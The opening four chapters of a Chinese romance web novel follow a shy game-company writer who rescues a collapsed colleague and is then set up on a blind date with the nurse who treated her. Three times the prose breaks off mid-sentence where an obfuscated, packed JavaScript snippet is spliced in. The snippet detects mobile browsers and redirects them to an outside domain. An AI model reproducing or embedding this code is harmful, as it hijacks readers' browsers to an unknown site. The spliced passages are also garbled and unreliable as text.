《是你躲不过》 1. 是你躲不过01 是你躲不过 文/藤槭 晋江文学城首发 初秋,天空一碧如洗,阳光澄澈得好似金色琉璃,穿透狭小的卧室,将它照得格外敞亮。 姜抒晨坐在书桌前,对着化妆镜涂口红。明艳大气的蓝调红色将她原本就白皙的肤色衬得更白净。 抿了几下嘴唇,她把口红放回原位,摘下束发带,甩了甩一头浓密的长发,对镜检查妆容。 镜中的女人眼线微微上扬,睫毛长而卷翘,在眼下投出一小片浅薄的阴影。她又偏过头去理了理鬓发,侧脸线条优越,鼻梁挺立,如同洋娃娃一般精致。 姜抒晨慵懒地把头发抓得更蓬松,然后起身套上oversize风格的西装外套,拎着托特包出门上班。 她照例在去地铁站的路上买一份手抓饼当早餐,不加辣酱不加肠。姜抒晨习惯认准一个摊子就一个劲儿地吃,一年四季都拿手抓饼祭五脏庙。 卖手抓饼的是个年轻人,手法娴熟利索,观感比一般的路边摊好了不止一点半点,价格也合适。 姜抒晨被清晨的阳光笼罩着,一边打呵欠一边踩着粗跟高跟鞋快步走过去排队。 来这儿买早点的几乎都是赶地铁去上班的打工人,大家一脸困倦,顶着黑眼圈,安静如鸡。 左等右等,好不容易才排到姜抒晨。 她话还没出口,忽地被跑来的男人挤到了一边。 “不好意思,我赶时间,老板,给我来个手抓饼再加个肠!” 姜抒晨气不过,想和他理论,可又不敢张嘴,只憋红了脸,捏紧了手机在一旁等。 拿到她的那一份手抓饼,姜抒晨已经没什么胃口了。 她行尸走肉般地走进地铁站,被人流裹挟着来到站台。国际大都市的早高峰,从来都是一场兵荒马乱的战争。 地铁车门打开的瞬间,毫无生气的人们立即打了鸡血,不要命似地往车上挤。姜抒晨硬是被推搡着踏上了地铁,在车门关闭的前一秒堪堪把另一只脚收进车厢里。 车门擦着她的鼻尖关上,轮轨隆隆作响,载着像沙丁鱼罐头似的人们向下一站驶去。 姜抒晨以一个极其别扭的姿势站着,手里拎着的手抓饼已经被挤得难以名状。 瞄了一眼旁边人的手表,她估摸着自己今天多半是要迟到。 到了公司,姜抒晨早已精疲力竭。她拖着沉重的步子走到工位上坐下,看了一眼手中变形的手抓饼,胃里泛起一阵恶心。她随手把手抓饼扔进了桌下的垃圾桶里。 手机在桌上震动了起来。 姜抒晨条件反射地坐直了身子,点开了微信消息。 策划小分队-苏晓婷:国庆我们一起去团建怎么样?环球乐园不是九月三十号开放嘛? 刘知瑶:好啊好啊! 苏晓婷:@姜抒晨。 姜抒晨的反胃更严重了,她索性离开了工位,快步闪进了洗手间,把自己锁在隔间里寻清净。 公司的保洁向来做得很到位,洗手间内充斥着空气清新剂的柠檬味。 就在姜抒晨紧绷的全身稍微放松下来的时刻,旁边隔间传来一阵极力压抑的抽泣声。 起初,她并未放在心上,因为她也曾在压力大的时候躲到厕所里哭。 可是过了一会儿,隔壁还是没有安静下来,抽泣的声音反而越来越急促。听久了,姜抒晨自己的呼吸节奏也被她带跑了,有些上气不接下气,胸口闷得难受。 她不由担心了起来,可又不好意思问。 站了一会儿,隔壁的哭声终于止住了。 姜抒晨将要舒一口气,隔板突然传来“咚”的一声闷响,好像是遭到了重物的撞击。 她被这动静吓了一跳,屏息听着隔壁的响动。 可隔壁再无一丝一毫的声响传出。 姜抒晨不敢大意,她试探性地敲了敲隔板,问:“您好,请问您需要帮忙吗?” 一片寂静。 她的心中浮起了不好的预感。 “有人吗?可以说句话吗?”她手指冰凉,颤抖着,却加大了拍打隔板的力度。 “怎么了呀一大早就吵吵!”门外排队等着用洗手间的同事抱怨道。 姜抒晨顾不得那么多,打开了隔间的门冲了出去。 被她吓了一跳的同事忙不迭地躲开。 姜抒晨扑到旁边隔间门前,用力地推门,可无论她怎么推,门都纹丝不动。 排队的人都投来异样的眼光。 “这里面的人可能晕倒了,”姜抒晨回过头,忍着尴尬对正在排队的同事解释道,“刚才有好大一声撞击的声音。” 众人看着她,并未做什么表示。 唯一开口的女生只摇了摇头,“想多了吧。没准人家只是胳膊不小心撞到了呢?我就经常这样。” 姜抒晨一阵面热,一直推门的手也有些犹豫。可如果这个人真的晕倒了,又撞到了头的话,她岂不是见死不救? 身后都是众人疑惑不解的目光,姜抒晨逼迫自己镇定,脑子里的一根弦绷得死紧。她后退几步,蓄力用肩膀狠命地撞向隔间的门。 塑料门锁自然抵不过这么大力气的冲撞,“砰”地一声碎裂了。门吱呀着打开,抵不过好奇心的众人赶忙围上去。 只见一个面无血色的女人倒在地上,头部紧贴着隔板,一丝血迹从她散开在地上的头发里蜿蜒而出。 众人忍不住尖叫出声。 “这是摔到头了?” “怎么回事呀!” “这谁你们认识吗?” “周晚吟?!”鱼贯而入的人群中,有人认出了她的身份。 这个名字连姜抒晨这个试用期还没过的新人都如雷贯耳。 周晚吟,纳美游戏工作室顶尖的游戏制作人,年纪轻轻手下就有好几个火爆IP。在姜抒晨这些小策划的眼里,她就是神一样的存在。 眼下根本来不及想更多,姜抒晨的脑子里只有救人这一个念头。 她迅速掏出手机,拨通了急救电话:“纳美集团总部大楼,二十二层,有人晕倒了……对,摔到头了,情况紧急,拜托你们快点派人过来!” 挂断电话,姜抒晨对众人说道:“可能是低血压,准备点糖水,我去楼下接救护车。” 电梯抵达一楼,姜抒晨小跑着出了电梯,直奔大堂。 救护车的鸣笛声划破了园区的寂静,一辆印着红十字图案的救护车在纳美游戏大楼前急刹。 车轮刚刚停止转动,车后便跳下来一队身穿白大褂的医生和护士,抬着折叠担架床,径直往大堂跑来。 门前的保安瞅着这阵仗,不知发生了什么事,只能遵循管理规定,把医护拦在了前台。 为首的护士急切地说:“我们接到急救电话,说这里有人晕倒了,状况不明,很紧急。” 保安:“我没有接到通知。” 姜抒晨抢步上前想要解释,冷不防被人抢了先。 “我们只是来救人的。”清冽的男声响起,“其他都是你们内部的事。我只知道我的病人出事了,你负不起这个责任。” 姜抒晨被这个男人吸引住了目光。 他身量很高,宽松的白大褂也遮盖不住他宽肩窄臀的优秀身材。 虽然他戴着口罩,全副武装,只露出一双眼睛,可姜抒晨一眼就能瞧出他长相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829868|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不凡。 连阅人无数的前台小姐姐们也都偷偷瞥着他,不自觉红了脸。 高跟鞋咔哒咔哒的响声在保安身后定住。 “是我打的电话。先让他们上去救人,有什么责任我担着。”姜抒晨摘下工牌,狠狠往前台桌上一拍,说:“这个押你这儿。” 一时间,大堂所有人都盯着她。 保安回过身,把姜抒晨从头到脚打量了一遍。 她中等个头,看着十分稚嫩青涩,就算是穿了黑色的西装,也完全没有成熟的味道,一看就是个职场菜鸟。 可她站在那里,眼神格外坚定,竟散发出一阵强大到不容置疑的气场,让保安一时语塞。 姜抒晨不和他啰嗦,忙抓住方才讲话的男人的胳膊,道:“跟我走。” 她一路小跑着朝电梯口冲过去,脚下的高跟鞋一个没踩稳,她踉跄了一步,眼看就要摔倒。 一直被她抓着衣袖的男人反手一把握住了她的手腕,将她稳稳地拽了回来。 皮肤相触,男人手心恰到好处的温度轻轻擦过,一阵酥酥麻麻的感觉从姜抒晨的手腕蔓延上来。 姜抒晨回眸,和他那双清澈又深邃的眼眸对上了视线。 一瞬间,她有点晃神。 “没事吧?”他的声音很好听,像是男低音里的LowC。 姜抒晨脸上发烧,又怕被瞧出端倪,欲盖弥彰地把口罩往上拉了拉,眼神躲闪着,说道:“没事。” “叮咚”。 电梯及时替她解了围。 一行人来到了二十二楼。 周晚吟已经被众人挪到了休息区的沙发上平躺着,面色煞白。 医护人员驾轻就熟地上前为周晚吟做检查。几个人分别负责查看患者意识、呼吸、脉搏、血压、瞳孔、外伤等等,一切都井然有序。 在边上站着的姜抒晨逐渐回过神,想不到自己竟然能能爆发出刚才那样的气势。 可一旦那股子血气过去了,她就又成了个怂逼,在原地怎么站怎么不自在,感觉周围人的眼神都和箭似的,直直地朝她扎过来,像是看异类。 她低着头,恨不得把整张脸都藏进口罩里。 好在救护队行动迅速,不过五分钟就推着担架火急火燎地下楼。 姜抒晨跟着医护一起下楼,准备拿回工牌离开这烫脚的地方,耳边传来男人的话音:“姜小姐,需要你和我们一起去医院。” 嗓音低沉又动听,简直是让人耳朵怀孕的程度。 姜抒晨刚平复没多久的心跳又被打乱了节奏,不过现在情况紧急,不是胡思乱想的时候。 她故作平静地迈开步子,跟着医护人员一起上了救护车。 周晚吟的头部的伤口被用无菌棉垫包扎了起来,整个人以头低足高的姿势躺着,边上是一堆姜抒晨根本看不懂的仪器。 她死死地盯着仪器上不断跳动的数字,下意识地抓紧了裙摆。 段逸从仪器上挪开视线,瞥了一眼身边坐着的女人。 她的眼睛一眨也不眨,指骨因为用力而泛了白,一副忧心忡忡的样子,倒是和刚才的强大气场判若两人。 他职业性地柔声说:“别紧张,她会没事的。” 姜抒晨抬头,又对上了那双深不见底的眼睛。 车里惨白的灯光将所有的细节都照得一览无遗,也将他的眉眼细细描摹。干净而没有分毫冗余的线条,像是出自画家的手。 她出神地望着他,不知怎地,她一直在隐隐作痛的心脏被一股温暖而又强大的安心感包裹了起来。 至少在那一瞬间,她无条件地相信,有他在,周晚吟一定会转危为安。 2. 是你躲不过02 上京医科大学附属第一医院的抢救室外,姜抒晨和几个人力资源部的女领导坐在塑料椅子上等着结果。 走廊上的人来来往往,护士们都步履匆匆,走路带着小跑,看得姜抒晨又紧张了起来。 不知过了多久,抢救室门楣上的灯牌才熄灭。 抢救室的门缓缓开启,从里面走出一道白色的身影。 姜抒晨赶忙站起身走上前去,目光盈盈地看向走出来的男人。 他摘了口罩,如释重负地一笑:“病人没什么大事,因为哭得太厉害所以缺氧了才晕倒的。” 一瞬间,姜抒晨感觉自己也有点儿缺氧,呼吸困难。 她猜得出男人生了副百里挑一的好皮囊,可没想到他竟好看到如此地步。 冷白的灯光将他的轮廓照得愈发立体,面容清冷俊朗,最撩人的是他笑起来时浅浅的梨涡,仿佛能把人的魂勾进去。 意识到自己盯着他的脸看了好几秒,姜抒晨慌忙移开视线,问:“她头上的伤……也没事吗?” 男人重新戴上口罩,道:“没有大碍,养一养就好了。” “那,小姜,你们几个先回去,我在这儿守着她。”女领导里最年长的那个开口说。 姜抒晨还没来得及多看那个男人一眼,就被前辈拉走了。 “唉,周晚吟真是个可怜人儿啊。”拉着姜抒晨的女人忍不住感叹道。 姜抒晨疑惑地凝眉。 走在另一边的同事连声应和,“是啊是啊,我进公司这么多年,第一次见她哭。” “可以问一下她怎么了吗?”姜抒晨的声音细如蚊呐。 “你还不知道吗?”女人惊讶地说,“周晚吟的项目被砍了,今早才通知的,听说要走一大批人呢!” 姜抒晨的眉头拧得更紧了。 “这年头游戏不好做,公司赚不了快钱就直接砍项目。” “也怪周晚吟特立独行,非要做个什么3A大作,前期投入太久了。制作周期这么长,公司哪里能等啊。” “本来游戏的生存空间就很小,一堆家长盯着游戏举报,看看游戏公司去年倒闭多少家了。” “唉,周晚吟的项目都能被砍,下一个不知道是谁。” 姜抒晨在边上听着,眼眶莫名地发了热。 她一言不发地跟着她们坐进了回公司的计程车里,不由自主地攥紧了裙子。柔软的提花布料在她的手心皱成一团。 混乱的脑海中,不合时宜地闪过了急救室外,男人那张年轻又俊朗的脸。 那双羽睫下深不见底的眼眸,目光好像意味深长,耐人寻味。 *** 早上的意外打乱了她一整天的节奏,姜抒晨午休时间都在工作。她一手拿着有些干硬的便利店三明治,一手在键盘上飞速移动,调整着文案的措辞。 旁边的同事围在一起吃饭,商讨着国庆要不要一起去环球乐园团建。 姜抒晨一心想追上进度,对她们的有说有笑置之度外。 看见姜抒晨一直在改文案,组长试着拉她加入对话。 “小姜,你入职四个多月了,都没和我们一起出去玩过。”组长把椅子滑到她边上,说道。 姜抒晨转过来,客气地回应:“我比较宅来着。” “难怪小姜都本科毕业了还没男朋友。”同组一个穿着Prada的大波浪说,“原来是太宅了。” 另一个人附和她:“是啊,我们苏姐二十二岁都谈婚论嫁了。” 苏晓婷娇嗔:“讨厌啦,还不是我老公追我追得太紧。” 姜抒晨低头吃着硬韧难嚼的三明治,不是很想插话。她向来对别人的生活不感兴趣,也很讨厌别人插手自己的生活。 “你别凡尔赛啊苏姐。我们可羡慕你了,这才二十六岁就住得上豪宅,上班也只是为了找点事儿干。” 组长:“小刘说得对,小苏你命真好。” 苏晓婷被这么一夸,很是受用,愈发飘飘然,连坐姿都端正了起来。 她以一副过来人的姿态说道:“要我说,还是找个靠谱的人早点结婚比较实在。女人啊,太苦太累就会变成黄脸婆的。” 说完,她把目光转向姜抒晨,热情地邀约:“国庆和我们一起去环球乐园吧?我让我老公帮我们抢快速通行证。小姜你偶尔也走动走动,不然怎么认识新的人呀?” 姜抒晨委婉地推辞道:“我不是很在意这个,没关系的。谢谢苏老师关心了。” “你都二十二了,过了二十五女人可就不值钱了。”苏晓婷化着浓妆的脸上浮现出真假难辨的关心,“别看你是名校毕业,那会儿照样没人要。” 姜抒晨强颜欢笑:“单着也没事,顺其自然吧。” 苏晓婷见姜抒晨不顺着她的话说,脸色变得很是难看:“小姜,你们学校理工科很有名,理论上来说男生应该很多吧?怎么你大学四年,都没谈出个能结婚的对象?” 抓着三明治的手一紧,蛋黄酱被挤了出来,脏了一手。 姜抒晨想回身抽纸,苏晓婷眼疾手快地拿过自己的包,从里面抽了几张纸给姜抒晨。 眼尖的同事一眼就认出这是LV的新款,纷纷赞不绝口,艳羡不已。 苏晓婷甩了甩头发,瞥了姜抒晨一眼,道:“这是我老公刚给我买的。说实话,我一个人还真未必舍得。” 刘知瑶按着胸口:“酸了酸了,你就是人生赢家!” 姜抒晨跟着笑了两声,虽然能看透苏晓婷的用意,可她本就不在意这些,根本夸不出口。 “诶,小姜,”苏晓婷滑着椅子靠近她,“你还没回答我呢。” “苏老师,”姜抒晨不卑不亢地说道,“我觉得我不是那种离了男人活不了的人。我大学都忙着写稿赚钱了。” 言毕,她回到了桌前。 苏晓婷吃了瘪,原本就铁青的脸色彻底黑了下来,“我说,姜抒晨,你是不是觉得你特别牛逼,和我们不一样?” 姜抒晨正在敲键盘的手停了下来。 她转头面带微笑,说:“我不觉得我特别牛逼,但我们确实不一样。” 话音未落,周围还在窃窃私语的同事都鸦雀无声。 姜抒晨接着说道:“我们每个人都是独一无二的,不是吗?” 组长虚惊一场,赶忙打圆场:“对啊对啊,小苏你也别太担心她了,现在的年轻人都比较喜欢晚婚晚育。” 苏晓婷也意识到自己的失态,咳嗽了两声,道:“就这么定了,国庆一起去团建。有对象的也把对象带来。小姜,你别再拒绝了,不然就是不给我面子了啊。” 要不是还得上班赚钱,姜抒晨真想把键盘扔她脸上。 * 第二天是周六,姜抒晨照例回了父母家。 纳美总部位于经济开发区,离家足足三十公里,所以姜抒晨在公司附近租了房,只有周末才去看望父母。 姜抒晨刚进门,正在看晨间新闻的姜父便把电视的音量调低,转过头来忧虑地说:“听说你们公司昨天去了救护车?” 姜父在上京医科大学当教授,不少同学和学生在医院工作,这方面的消息十分灵通。 “是的,有人晕倒了。”姜抒晨洗了手坐到桌边,喝了一口姜母刚端过来的桂花粥。 “我听我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829869|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的交流群说是猝死。”姜父端起咖啡杯,话音有些沉重。 姜抒晨更正他,“那是谣言。我还跟着去医院了,亲眼所见,不会错。” “那也差不多,反正你们公司压力大是众所周知。”姜母说道,“天天996,人是铁打的也会熬坏。” 姜抒晨语调轻松道:“996的都是程序员。我们搞文字工作的没那么夸张。” “你要是听话进了体制内,每天朝九晚五活儿还少。”姜父适时地点评。 “对啊。”姜母点头附和,“再说了,游戏公司能有什么前途,打游戏毁了多少人?” 姜抒晨自知和他们辩论也没用,干脆来了个缓兵之计,乖巧道:“我会考虑换行业的。不过工作还没满一年就跳槽,简历不好看,先干着再说。” 姜母笑了起来,眼尾浮现起无伤大雅的细纹:“你呀,花言巧语。” 姜父不吃她这套:“你也别诓我们,你加班也不少。下班那么晚一个人多不安全,找个男朋友还能接你一下,我们也放心。” “爸,怎么又提找男朋友的事儿了?”姜抒晨失笑,“你们别瞎担心,最近挺……” 昨天办公室家长里短还有公司裁人的糟心事儿涌上心头,姜抒晨一阵头痛,那句没说完的“最近挺好的”没了底气。 她清了下嗓子,接上话头:“最近工作比较忙,没时间想别的。谈恋爱只会阻碍我搞钱。” 姜父慢慢喝了口咖啡,缓声说:“我前两天和一个老同学聚了聚。就是自己开医药公司的那个段叔叔,他儿子叫段逸,26岁,也是单身,说是有合适的人让我撮合撮合。” 虽然姜父姜母催得紧,可这还是姜父头一次介绍熟人,姜抒晨不好打断,便耐着性子听着。 “这男孩子是我带过的研究生,一表人才,能说会道,实习的时候别提多讨喜了,各个科室抢着要。”姜父放下咖啡杯,拿起了手机,“你过来。” 姜抒晨端着桂花粥走过去做做样子。 姜父点开了相册,翻到了一张照片递给姜抒晨。 “这是他的照片,多端正一小伙子。” 姜抒晨腾出一只手接过手机敷衍地看了一眼。 目光倏地凝滞住。 这是一张白底的证件照,上面的男人穿着藏青色的西装,下颌线流畅利落,嘴角微微上扬,噙着浅浅的笑意,骄矜高贵,意气风发。 “他?” 姜抒晨指尖微颤,差点把粥洒出来。 照片上的男人,正是昨天负责抢救周晚吟的那位。 “怎么了?不满意?”姜父察觉出她面色的变化,问道。 姜抒晨把手机递回去,摇了下头,“怎么会?他长得真的很好看。” 嘴上云淡风轻,心下竟有了一丝丝前所未有的动摇。 当下,纳美游戏顶梁柱级别的策划周晚吟惨遭滑铁卢,公司上下人人自危,她作为萌新,更是不敢放松。办公室恶心的人际关系也让她喘不过气。 若是真能有一个人和她抱团取暖,倒也不是坏事,最起码能堵上父母的嘴,让他们少叨叨几句。 姜父见她不算抗拒,又自顾自地介绍起来,“你段叔叔家底很雄厚,家教也很严格。为了让段逸继承家业,特地让他先在医院工作。别看他现在是个男护士,以后前途无量啊。” 想到段逸摘下口罩之后对她露出的笑,姜抒晨欲言又止。 姜父以为她对男护士有偏见,又解释道:“他是我带的护理学研究生,不是一般的小护士。” 姜抒晨面露难色,“爸,我是说,他这么好看又这么厉害,你确定我俩合适?” 3. 是你躲不过03 早上六点整,护士站的护士们正在交班。值完大夜班的护士们纷纷伸了个懒腰,互相询问要不要一起去食堂吃点东西。 段逸刚查完房过来交表,把口罩往下拉了拉,喘了口气。 正在闲聊的护士见到他,恭敬地笑着问好:“段老师,早。” 段逸“嗯”了声,露出职业性的笑容,实习的小姑娘看红了脸。 “您好,我来办理一下出院手续。”段逸正要准备下班,就瞥见身侧走过来一个女人。 他转过头,发现来人是昨天送来急救的周晚吟。 察觉到有视线投向自己这边,周晚吟也回看过去,见到是段逸,她笑了一笑:“段医生,您也在。” 虽然急救的时候初步判断周晚吟没事,可为了防止错过潜在疾病,特地让她留院观察了一天。 “这么早就来办理?”段逸看了眼手表,“才刚六点。” 周晚吟苦涩一笑,“工作不能耽误。” “纳美,这么忙吗?”段逸摘下帽子,理了理被压下去的头发,问。 “是啊,现在游戏行业不景气。”意识自己表现得太消沉,她又强打起精神,说,“昨天,谢谢段医生了。” 段逸摆手,“不,你应该谢帮你叫救护车的同事。” 周晚吟点头,感慨地说:“姜抒晨。我看过她的简历,作品集很出色。没想到人也这么好。” “有这样的同事真幸运。”段逸客套地说着,继而和周晚吟再见。 大步流星地回到办公室,口袋里的手机铃声大作。 段逸接了起来。 “今天上午回家一趟。”段清朗浑厚的声音从听筒里传了出来。 段逸轻皱眉头:“爸,有什么事么?” “你回来了我自然会告诉你。”段清朗淡声吩咐,不怒自威,“我刚才让老李去接你,这会儿应该已经到医院门口了。” 段逸吸了一口气,缓缓地吐出,道了声“好”。 这段时间,段清朗主动和他联系的次数极多,来来回回就那么一件事。这次就算他卖关子,段逸也能猜出一二。 出了医院大门,远远就看见一辆炸眼的库里南高调地停在路边。 段家的别墅位于上京市中心的黄金地段,从医院开车过去只要三十多分钟。段逸还没从大夜班的困乏中歇过来,就被司机叫醒了。 才走到门厅,就听见段清朗的嗓门:“过来吃饭。” 段逸照做。 他洗完手,拉开椅子坐下,低声问:“爸,有什么事找我?” 段清朗没有立刻搭话,只低头夹了一块厚蛋烧放进段逸的碗里,才抬起头缓缓说:“你马上二十七岁了。” “是,下下个月就二十七了。”段逸双手交握搭在腿上,丝毫没有吃饭的意思。 段清朗放下碗筷,定定地端详着段逸,问:“追你的小姑娘肯定很多吧?毕竟现在都看脸。” “有一些吧。” “到底什么时候能带一个回来让我瞧瞧?这么些年我看你一个人晃荡,一直希望你能有自己的家庭,早点走出来。毕竟,你的人生才是你最要紧的事情。” 段逸拿起了筷子,说:“爸,上个月您给我安排了二十多次相亲,我每一个都拒绝了。您也应该知难而退了。” “你姜叔叔不是有个女儿嘛?今年刚本科毕业,还是单身。你姜叔挺心疼她一个人打拼,着急给她介绍对象呢。”段清朗自顾自地说道。 “爸,我是护士。”段逸的筷子停在半空,“连个假期都挤不出来,陪不了女孩子,就不耽误人家了。” “歪理!时间就像海绵里的水,都是挤出来的。”段清朗拍了把桌子,“照你这么说,医生护士都不配成家立业了?” 段逸冷淡道:“别人怎么样我不知道,反正我是不配。” “姜教授的女儿才貌双全,性格又温柔。还没毕业就签了国内最大的游戏公司纳美,月薪税后过万。本科毕业就能拿到这个数的人才占百分之十。你不要,有你后悔的时候。” “纳美?”段逸拒绝的话语到了嘴边,被生生咽了回去。 是她吗? 昨天他只来得及瞥见她工牌上的“姜”字。 心底冒出了一丝怪异的好奇,心悬了起来。 “对,”段清朗见段逸不像刚才那般夹枪带棒,便把手机直接怼到了他的脸上,“你看看,漂不漂亮?” 段逸定睛一看,手机上的女生眉眼含笑,笑容略带羞涩,甜美可人,像极了洋娃娃。 是她。 悬起的心悄然落下。 见到段逸犹豫,段清朗料到这女孩子算是入了他的眼,继续推进道:“她叫姜抒晨。正好今天周六,你们晚上就一起吃个饭吧。” “今晚?!”段逸错愕得握不住筷子。 “对啊,宜早不宜迟。”段清朗满意地笑笑,“我和姜教授把餐厅定好了,你们先见个面。” * 转眼到了傍晚。 “我要不然还是别去了吧……”姜抒晨站在落地镜前转了一圈,胆怯地说,“我觉得人家应该看不上我。” “他是你爸的学生,修养很好,不是那种肤浅的人。你爸还能坑你不成?”姜母给她理了理头发,眼睛眯成了一条缝。 姜抒晨还想说什么,已经被姜母催着出门:“别迟到,约了六点半,这会儿都要六点了。” “才五点二十,急什么?”姜抒晨无奈地走到门边。 “去吧去吧,”姜母挥挥手,“主动点儿,嘴甜的人谁都喜欢。” “知道啦!”姜抒晨关上门,耳边总算清净了下来。 晚上五点半,暮霭沉沉,夕阳的余晖将云朵渲染成绚丽的橙红色,恣意地在天幕上铺开浓墨重彩。 姜抒晨坐上计程车,耳机里播放着迷离的后摇,和窗外的景象倒是很搭。 她在音乐里逼着自己放轻松,手上却时不时地举起手机,对着屏幕检查妆容。 怎么说也是第一次见面,必须要给对方留下一个好印象,不能出一点差错。 今天姜抒晨特地换了口红色号,和上班的时候为了装成熟、撑场子用的Dior999不同,她选了温柔又内敛的奶茶色。 娃娃脸配上清淡的妆面,攻击性弱了许多。 一路上忐忑不安,才刚过六点,她就被车送到了目的地。 姜抒晨做了个深呼吸,抬头打量了一眼这家透露出小布尔乔亚味道的餐厅。由于是两家的长辈定的地点,格调自然比姜抒晨自己常去的餐厅高了很多倍。 她不由得心生畏惧,若不是鸽了别人太不礼貌,她现在就会提包跑路。 见到姜抒晨在门口犹豫不决,门童看不下去,主动推开门问道:“女士,请问您是来用餐的吗?” 这下想跑也不行了。 姜抒晨认命般地点了点头,“对,预约了二层3号雅间。” 门童看着她一脸大义凛然的模样,疑惑却不好多问,只转身领着她往里面走。 离房间越近,姜抒晨的心跳就越快,到了门边,她感觉自己的腿软得像面条,快要不听使唤。 “先生,客人到了。”门童敲了敲厚重的木门。 门无声地打开,只见餐桌边坐着的男人沉稳地起身,暖色调的灯光如同一层薄纱披在了他宽阔的肩头。 门童离开,男人自然而然地朝门边看来。 两人的视线在空中交错了一秒,姜抒晨脸上的灼热感愈发明显。她低下头,假装漫不经心地走了进去,“段先生,很抱歉让你等我。” 女人一袭大摆的收腰长裙,步态优雅。她穿了双高跟鞋,脚背绷得出一个好看的弧度。纤细的脚踝在摇曳的裙摆下若隐若现,格外动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829870|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 即使灯光偏黄,也掩盖不住她莹白透亮的皮肤,脸颊两侧的绯红更显娇羞。 “姜小姐也是提前到,”段逸倒了杯餐前酒,在她的位置前放下,“不用抱歉。” 姜抒晨拘谨地落座,生硬地道了声“谢谢”。 段逸就坐在她的对面,她更紧张了,脸上维持着平静,脚趾已经忍不住抠地了。 救命,要不是时间仓促,她横竖也得速成一下相亲必备的车轱辘话。 “虽然姜小姐应该知道我的一些信息,但我还是做一下自我介绍。”对面的男人语气轻松,“我叫段逸,二十六岁,是京医大附属医院的护士,目前各种收入加起来年薪百万左右……” 姜抒晨惊讶地抬起头来,“段先生这是?” 她这才算今天第一次看清段逸的长相。 他穿了件卫衣,工装裤难掩他的一双大长腿,脚蹬一双厚底马丁靴,整个就是一酷盖,全然看不出护士的气质,倒是有种少年的活力和热血。 “既然是相亲,我们直接点就好了。”段逸捕捉到她眼底的诧异之色,微笑着解释道,“我事先也了解过姜小姐的情况,我认为姜小姐是个优秀的人。” 姜抒晨彻底愣了。 她以为相亲就是互相说车轱辘话,然后要么加微信详聊要么就没有然后了。 竟然有这么打直球的? 作为社恐人,她连门面话都说不出口,只能不停地喝酒来掩盖词穷的事实。 “姜小姐有什么想说的吗?”段逸也不刁难她,换了话题。 借着上菜的空隙,姜抒晨勉强整理了一下思路。思忖片刻后,她真诚地说道:“那个……我家里催得急……” 房间里安静了两秒。 姜抒晨想在此时此刻光速离开地球。 怎么说她也是个靠写游戏剧本赚钱的人,文采斐然,网上聊天也根本没在怕的。在现实里,不知怎的就成了话题终结者。 可对面的男人忽地轻轻笑了起来,他的声音轻而浅,像柔软的羽毛搔刮着姜抒晨的耳道,意外地让人放松。 “巧了,我也是。” 姜抒晨的尴尬稍稍缓解。 段逸收敛了笑容,一本正经地看向姜抒晨的双眼:“我的工作很忙,法定假日对我来说形同虚设。所以我不会打扰到姜小姐的私生活。 “另外,如果姜小姐有同居的需要,我也会配合——当然,分房睡。 “至于家务,我会请阿姨来做,不用姜小姐操劳。 “需要夫妻共同出席的场合,我也会扮演好丈夫的角色。 “姜小姐觉得这样可以吗?” 姜抒晨点头如捣蒜。 她发自内心地觉得没问题。 相亲本来就是权衡利弊做出的决定,把优缺点都摆出来,虽然太直白显得有些功利,可确实省了很多麻烦。 不过,她又能给段逸提供什么呢? 听说有钱人都很在乎结婚对象背后所带来的利益和人脉关系,姜抒晨的家庭只是普通中产,自然没有不可取代的价值。 更何况段逸这样开朗讨喜的性格,大抵也是理解不了她的社恐。 尽管她并非一无是处,可与段逸这样的天之骄子比,还是差了一大截。 姜抒晨有些失落。 她咬着下唇,说道:“我和段先生不同,提供不了太多。” “我亲眼看到姜小姐为了同事而担忧,可见为人善良。”段逸双眼含笑,“除此之外,你有自己的想法,不会随波逐流。这就足够了。” “嗯……我不喜欢交际,可能会在人多的地方感到不安,也不是很愿意认识新的人。”姜抒晨坦诚地说,“其他的,我和段先生一样。” 段逸耐心地听完,温声说道:“那,我们来商量一下结婚登记的时间吧。” 姜抒晨:“啊?” 4. 是你躲不过04 惠灵顿牛排在桌上冒出热气,白雾在两人之间逡巡。 段逸看出了姜抒晨的惶惑不安,却不着急立刻答话。他熟练地切开牛排,又用餐刀分成了易于入口的大小,放到了姜抒晨的餐盘里。 这家餐厅在创新菜上颇有水平,惠灵顿牛排的酥皮加入了香料,伴随着咀嚼,浓郁的香料味道在口腔内蔓延。 姜抒晨不自觉地吃了好几块才停下来喝了一口柠檬水。 这时,段逸方不急不徐地问:“姜小姐觉得哪里不合适吗?” 姜抒晨歪了下脑袋。 倒也没有哪里不合适,如果不是民政局下班了,今天去领证她也不会有意见。 只是,她不能确定自己到底是真心实意地认为段逸可靠,还是被他的容颜和举止的周到给麻痹了大脑。 